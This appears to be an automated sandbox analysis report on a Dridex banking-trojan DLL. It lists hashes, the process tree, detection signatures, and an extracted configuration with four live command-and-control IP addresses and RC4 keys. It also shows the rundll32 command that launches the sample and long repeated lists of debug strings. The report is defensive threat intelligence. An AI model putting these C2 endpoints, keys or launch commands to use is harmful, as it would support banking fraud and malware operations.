Loading ...

Play interactive tourEdit tour

Windows Analysis Report SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll

Overview

General Information

Sample Name:SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll
Analysis ID:544259
MD5:5ca09f4e3e8adcf9755415f40a43e89b
SHA1:5c57296e6c7f36156fe2062db0719b67383548d9
SHA256:b9dac63c888f98e13799568be23d934cc5e929b1e71282b3eb5c83d3cbf21e7a
Tags:dll
Infos:

Most interesting Screenshot:

Detection

Dridex
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Yara detected Dridex unpacked file
Multi AV Scanner detection for submitted file
Sigma detected: Suspicious Call by Ordinal
Tries to delay execution (extensive OutputDebugStringW loop)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Sample file is different than original file name gathered from version info
One or more processes crash
Contains functionality to query locales information (e.g. system language)
Uses code obfuscation techniques (call, push, ret)
Checks if the current process is being debugged
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
Entry point lies outside standard sections
Abnormal high CPU Usage

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6988 cmdline: loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 7064 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 7096 cmdline: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • WerFault.exe (PID: 6472 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 672 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • cleanup

Malware Configuration

Threatname: Dridex

{"Version": 22201, "C2 list": ["144.91.122.102:443", "85.10.248.28:593", "185.4.135.27:5228", "80.211.3.13:8116"], "RC4 keys": ["3IC8sFlUX9XZuoBQY9u5LhcZnHsV7E5r", "hnk63OiMfIbUqQnY7gkPwplwC0Ue5ZkZBYMCTYTjntqX7zsy9OvtNUlthJZXRtFF6P52Zbz6R5"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
    00000005.00000002.319816001.000000006EBD1000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
      00000005.00000000.289027157.000000006EBD1000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
        00000005.00000000.293983549.000000006EBD1000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          5.2.rundll32.exe.6ebd0000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
            5.0.rundll32.exe.6ebd0000.5.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
              5.0.rundll32.exe.6ebd0000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
                2.2.loaddll32.exe.6ebd0000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security

                  Sigma Overview

                  System Summary:

                  barindex
                  Sigma detected: Suspicious Call by OrdinalShow sources
                  Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7064, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1, ProcessId: 7096

                  Jbx Signature Overview

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection:

                  barindex
                  Found malware configurationShow sources
                  Source: 5.2.rundll32.exe.6ebd0000.2.unpackMalware Configuration Extractor: Dridex {"Version": 22201, "C2 list": ["144.91.122.102:443", "85.10.248.28:593", "185.4.135.27:5228", "80.211.3.13:8116"], "RC4 keys": ["3IC8sFlUX9XZuoBQY9u5LhcZnHsV7E5r", "hnk63OiMfIbUqQnY7gkPwplwC0Ue5ZkZBYMCTYTjntqX7zsy9OvtNUlthJZXRtFF6P52Zbz6R5"]}
                  Multi AV Scanner detection for submitted fileShow sources
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllVirustotal: Detection: 20%Perma Link
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllReversingLabs: Detection: 23%
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                  Source: Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.297923334.000000000492E000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.298099046.0000000004930000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: bcrypt.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: sfc_os.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: nCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 0000000F.00000002.311834844.00000000006B2000.00000004.00000001.sdmp
                  Source: Binary string: fltLib.pdb* source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb source: loaddll32.exe, 00000002.00000003.293172280.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: shcore.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdbH source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdbP source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: advapi32.pdb| source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: shell32.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: msvcp_win.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: sfc_os.pdb, source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wimm32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: shlwapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: wwin32u.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: setupapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdbi source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: imagehlp.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdbX source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: dwmapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: bcrypt.pdbD source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: RFFGTEQ.pdb source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll
                  Source: Binary string: shcore.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: profapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: oleaut32.pdb` source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: shlwapi.pdbn source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: ws2_32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdbz source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32full.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: shell32.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdbUGP source: loaddll32.exe, 00000002.00000003.293172280.000000004B280000.00000004.00000001.sdmp
                  Source: Binary string: wimm32.pdbB source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdbv source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: AcLayers.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: rundll32.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: sfc.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: apphelp.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: wuser32.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: profapi.pdb^ source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp

                  Networking:

                  barindex
                  C2 URLs / IPs found in malware configurationShow sources
                  Source: Malware configuration extractorIPs: 144.91.122.102:443
                  Source: Malware configuration extractorIPs: 85.10.248.28:593
                  Source: Malware configuration extractorIPs: 185.4.135.27:5228
                  Source: Malware configuration extractorIPs: 80.211.3.13:8116
                  Source: Joe Sandbox ViewASN Name: TOPHOSTGR TOPHOSTGR
                  Source: Joe Sandbox ViewASN Name: HETZNER-ASDE HETZNER-ASDE
                  Source: Joe Sandbox ViewASN Name: ARUBA-ASNIT ARUBA-ASNIT
                  Source: Joe Sandbox ViewIP Address: 185.4.135.27 185.4.135.27
                  Source: Joe Sandbox ViewIP Address: 85.10.248.28 85.10.248.28
                  Source: Joe Sandbox ViewIP Address: 80.211.3.13 80.211.3.13
                  Source: WerFault.exe, 0000000F.00000003.310900104.0000000004889000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.312460076.000000000488A000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                  Source: Amcache.hve.15.drString found in binary or memory: http://upx.sf.net
                  Source: loaddll32.exe, 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.294097140.000000006EBEF000.00000002.00020000.sdmpString found in binary or memory: http://www.forex-broker.websiteDVarFileInfo$

                  E-Banking Fraud:

                  barindex
                  Yara detected Dridex unpacked fileShow sources
                  Source: Yara matchFile source: 5.2.rundll32.exe.6ebd0000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 5.0.rundll32.exe.6ebd0000.5.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 5.0.rundll32.exe.6ebd0000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 2.2.loaddll32.exe.6ebd0000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.319816001.000000006EBD1000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000000.289027157.000000006EBD1000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000000.293983549.000000006EBD1000.00000020.00020000.sdmp, type: MEMORY

                  System Summary:

                  barindex
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllBinary or memory string: OriginalFilenameIha.dllD vs SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 672
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE07302_2_6EBE0730
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE93702_2_6EBE9370
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBD14942_2_6EBD1494
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBDA4E82_2_6EBDA4E8
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE143C2_2_6EBE143C
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBD84282_2_6EBD8428
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE2234 NtDelayExecution,2_2_6EBE2234
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE2820 NtAllocateVirtualMemory,2_2_6EBE2820
                  Source: C:\Windows\System32\loaddll32.exeProcess Stats: CPU usage > 98%
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllVirustotal: Detection: 20%
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllReversingLabs: Detection: 23%
                  Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1
                  Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll"
                  Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 672
                  Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1Jump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7096
                  Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB8F.tmpJump to behavior
                  Source: classification engineClassification label: mal76.troj.evad.winDLL@6/6@0/4
                  Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                  Source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                  Source: Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.297923334.000000000492E000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.298099046.0000000004930000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: bcrypt.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: sfc_os.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: nCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 0000000F.00000002.311834844.00000000006B2000.00000004.00000001.sdmp
                  Source: Binary string: fltLib.pdb* source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb source: loaddll32.exe, 00000002.00000003.293172280.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: shcore.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdbH source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdbP source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: advapi32.pdb| source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: shell32.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: msvcp_win.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: sfc_os.pdb, source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wimm32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: shlwapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: wwin32u.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: setupapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdbi source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: imagehlp.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdbX source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: dwmapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: bcrypt.pdbD source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: RFFGTEQ.pdb source: SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll
                  Source: Binary string: shcore.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: profapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: oleaut32.pdb` source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: shlwapi.pdbn source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: ws2_32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdbz source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32full.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: shell32.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdbUGP source: loaddll32.exe, 00000002.00000003.293172280.000000004B280000.00000004.00000001.sdmp
                  Source: Binary string: wimm32.pdbB source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdbv source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdbk source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: AcLayers.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000F.00000003.302154491.0000000004DC0000.00000004.00000040.sdmp
                  Source: Binary string: rundll32.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: sfc.pdb source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: Binary string: apphelp.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
                  Source: Binary string: wuser32.pdb source: WerFault.exe, 0000000F.00000003.302126214.0000000004BF1000.00000004.00000001.sdmp
